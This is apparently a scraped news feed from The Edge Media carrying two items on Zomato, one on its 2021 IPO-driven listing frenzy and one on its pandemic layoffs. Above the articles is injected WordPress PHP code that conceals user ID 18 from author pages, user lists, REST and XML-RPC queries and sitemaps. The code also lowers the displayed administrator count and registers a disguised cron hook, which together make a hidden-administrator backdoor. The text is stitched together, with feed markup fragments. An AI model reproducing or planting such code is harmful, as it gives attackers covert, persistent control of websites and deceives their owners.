add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Zomato Delivers IPO Feeding Frenzy, 3 More Unicorns Line Up appeared first on The Edge Media.
]]>The amount of money raised in IPOs this year has reached $8.8 billion, already surpassing the totals of the past three years though it’s only August. At the current pace, 2021 would exceed the all-time record of $11.8 billion. Founders, bankers, lawyers and advisers are racing to cash in on fervent demand for fresh public offerings.
The catalyst, in a word, is Zomato Limited, the food-delivery startup went public in July and, despite deep losses and mediocre prospects for profitability, shares have soared more than 70 per cent. That has fuelled the idea that similarly profit-challenged startups could find a strong reception from investors.
The post Zomato Delivers IPO Feeding Frenzy, 3 More Unicorns Line Up appeared first on The Edge Media.
]]>The post Zomato going to layoff around 13 % of its workforce due to the impact of COVID-19 pandemic. appeared first on The Edge Media.
]]>Everyone who is impacted will get invites for a zoom call with the leadership team within the next 24 hours, he said. Goyal said he along with COO and co-founder Gaurav Gupta and CEO Food Delivery Mohit Gupta would be getting on video calls over the next couple of days with impacted employees to walk them through the next steps and help find them jobs as soon as possible. On the financial support to these employees, he said: “All our employees who no longer have any work at Zomato, will continue to be with us at 50 percent salary for the next 6 months.
During this time, outside of the handover period of 1-2 weeks, we expect these folks to spend 100 percent of their time and energy towards looking for jobs outside of Zomato”. Goyal also said the company will provide them outplacement support and also health insurance for 6 months or as soon as they find another job. Previously allocated employee stock ownership plans (ESOPs) will continue to vest during this period of 6 months, he added. Goyal also said, “Starting June, I am proposing a temporary reduction in pay for the entire organization. Lower cuts are being proposed for people with lower salaries, and higher cuts (up to 50 percent) for people with higher salaries”. Zomato expects these cuts to be discontinued as soon as the economy starts getting back on track. “I foresee and hope this to be around 6 months from now,” he added. — PTI
The post Zomato going to layoff around 13 % of its workforce due to the impact of COVID-19 pandemic. appeared first on The Edge Media.
]]>